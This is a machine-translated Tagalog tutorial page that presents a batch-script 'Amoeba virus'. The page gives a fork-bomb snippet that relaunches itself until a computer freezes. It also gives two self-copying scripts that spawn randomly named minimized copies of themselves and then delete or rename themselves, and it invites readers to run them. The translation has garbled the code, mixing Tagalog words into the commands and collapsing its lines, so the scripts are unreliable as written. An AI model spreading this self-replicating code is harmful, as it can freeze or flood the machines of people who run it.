Talaan ng mga Nilalaman:

Ang Kinakakilabutan na Virus ng Amoeba Gamit ang Batch Script: 3 Mga Hakbang
Ang Kinakakilabutan na Virus ng Amoeba Gamit ang Batch Script: 3 Mga Hakbang

Video: Ang Kinakakilabutan na Virus ng Amoeba Gamit ang Batch Script: 3 Mga Hakbang

Video: Ang Kinakakilabutan na Virus ng Amoeba Gamit ang Batch Script: 3 Mga Hakbang
Video: Aang vs. Ozai 🔥 FULL UNCUT FINAL BATTLE | Avatar 2024, Nobyembre
Anonim
Ang Kinakakilabutan na Virus ng Amoeba Gamit ang Batch Script
Ang Kinakakilabutan na Virus ng Amoeba Gamit ang Batch Script

Kung interesado ka sa pag-coding o pag-script ng batch, tingnan ang aking pinakabagong Ible dito. Nalaman ko ang tungkol sa protista sa aking klase sa Bio. Kailangan naming manghuli para sa mga live na amoebas sa ilalim ng isang mikroskopyo. Hindi gaanong ginagamit sa buhay, ngunit binigyan ako ng isang ideya kung ano ang pangalanan ang aking pinakabagong virus. Tulad ng pag-post ng ilang mga tao, isang virus, sa pamamagitan ng pagpapahiwatig, ay tumutukoy. Sa gayon, Ipinagmamalaki kong sabihin na ginagawa iyon ng mga virus ng Amoeba!

Hakbang 1: Ang Nabubulok na Amoeba

Ang Nabubulok na Amoeba
Ang Nabubulok na Amoeba

Natagpuan ko ang mga tagubilin para sa mga kalokohan na sumusunod: @echo off: Topstart% 0goto TopSinisimulan nila ang kanilang sarili nang paulit-ulit, at ang bagong nasimulan na programa ay sumusunod, hanggang sa mag-freeze ang computer. Ginagawa ito ng mga Amoebas, ngunit iniiwan nila ang marami, maraming mga Amoebas kaysa sa umiiral sa simula. Ang maliit na virus na ito ay tumatakbo, lumilikha ng isang random na pangalan, at pagkatapos ay kopyahin ang sarili nito, tulad ng binary fission. Pagbukud-bukurin ng. Umuulit ang proseso, sa pagsisimula ng programa ng bawat bagong virus, na pagkatapos ay nagpaparami. Ang isa ay naging tatlo, na naging siyam, atbp Pagkatapos ng pagkopya ng sarili nito ng tatlong beses, ang bawat programa ay tatanggalin ang kanyang sarili, na mabisang namamatay at nabubulok. Ang Batch script ay ang mga sumusunod: @echo offcolor 02title Amoebaset / isang buhay = 3: Topif% life% == 0 (del% 0) itinakdang pangalan =: Loopset / a namenumber =% RANDOM% / (32767/25) set / a namenumber =% RANDOM% / (32767/25) set / a namenumber =% RANDOM% / (32767 / 25) kung% namenumber% == 0 set name = A% name% if% namenumber% == 1 set name = B% name% if% namenumber% == 2 set name = D% name% if% namenumber% == 3 set name = D% name% if% namenumber% == 4 set name = E% name% if% namenumber% == 5 set name = F% name% if% namenumber% == 6 set name = G% name% kung% namenumber% == 7 set name = H% name% if% namenumber% == 8 set name = I% name% if% namenumber% == 9 set name = J% name% if% namenumber% == 10 set pangalan = K% pangalan% kung% namenumber% == 11 itinakdang pangalan = L% pangalan% kung% namenumber% == 12 nakatakda na pangalan = M% pangalan% kung% namenumber% == 13 nakatakda na pangalan = N% pangalan% kung% namenumber% == 14 set name = O% name% if% namenumber% == 15 set name = P% name% if% namenumber% == 16 set name = Q% name% if% namenumber% == 17 set nam e = R% pangalan% kung% namenumber% == 18 itinakdang pangalan = S% pangalan% kung% namenumber% == 19 itinakdang pangalan = T% pangalan% kung% namenumber% == 20 itinakdang pangalan = U% pangalan% kung% namenumber% == 21 set name = V% name% if% namenumber% == 22 set name = W% name% if% namenumber% == 23 set name = X% name% if% namenumber% == 24 set name = Y% name% if% namenumber% == 25 set name = Z% name% if EXIST% name%.bat goto Loopcopy% 0% name%.bat> nulstart / min% name%.batset / a life =% life% -1goto TopAs kasama ang lahat ng mga file ng Batch, pangalanan ang program na ito na "Amoeba.bat", at i-save bilang "Lahat ng Mga File ng Program". Pagkatapos ay patakbuhin ito at linisin ang gulo.

Hakbang 2: Ang Fossilizing Amoeba

Ang Fossilizing Amoeba
Ang Fossilizing Amoeba

Ang Fossilizing Amoeba ay eksaktong kapareho ng Decomposing Amoeba, maliban na lamang sa dalawang beses itong nagpaparami, sa pagtatapos nito ay pinalitan ang pangalan bilang isang file ng database, nag-iiwan ng isang walang silbi na file, o "fossil". Ganito ang script: @echo offcolor 02title Amoebaset / isang buhay = 2: Topif% buhay% == 0 (palitan ang pangalan% 0% pangalan%.dat) itinakda pangalan =: Loopset / isang namenumber =% RANDOM% / (32767/25) set / isang namenumber =% RANDOM% / (32767/25) set / a namenumber =% RANDOM% / (32767/25) kung% namenumber% == 0 set name = A% name% if% namenumber% == 1 set name = B% name% kung% namenumber% == 2 set name = D% name% if% namenumber% == 3 set name = D% name% if% namenumber% == 4 set name = E% name% if% namenumber% == 5 set pangalan = F% pangalan% kung% namenumber% == 6 nakatakda pangalan = G% pangalan% kung% namenumber% == 7 nakatakda pangalan = H% pangalan% kung% namenumber% == 8 nakatakda pangalan = I% pangalan% kung% namenumber% == 9 set name = J% name% if% namenumber% == 10 set name = K% name% if% namenumber% == 11 set name = L% name% if% namenumber% == 12 set name = M% pangalan% kung% namenumber% == 13 set name = N% name% if% namenumber% == 14 set name = O% name% if% namenumber% == 15 set name = P% pangalan% kung% namenumber% == 16 set name = Q% name% if% namenumber% == 17 set name = R% name% if% namenumber% == 18 set name = S% name% if% namenumber % == 19 itinakdang pangalan = T% pangalan% kung% namenumber% == 20 itinakda na pangalan = U% pangalan% kung% namenumber% == 21 nakatakda na pangalan = V% pangalan% kung% namenumber% == 22 itinakdang pangalan = W % name% if% namenumber% == 23 set name = X% name% if% namenumber% == 24 set name = Y% name% if% namenumber% == 25 set name = Z% name% if EXIST% name%.bat goto Loopif EXIST% name%.dat goto Loopcopy% 0% name%.bat> nulstart / min% name%.batset / a life =% life% -1goto TopOnce again, save as "Amoeba.bat".

Hakbang 3: Ang Pagsabog ng Organismo

Ang Pagsabog ng Organismo
Ang Pagsabog ng Organismo

Kung itinakda mo ang isa, mangyaring sabihin sa akin kung paano ito gumana. Magsaya ka! *** simpleng switch sa kalusugan ay panatilihin kang maligamgam *****

Inirerekumendang: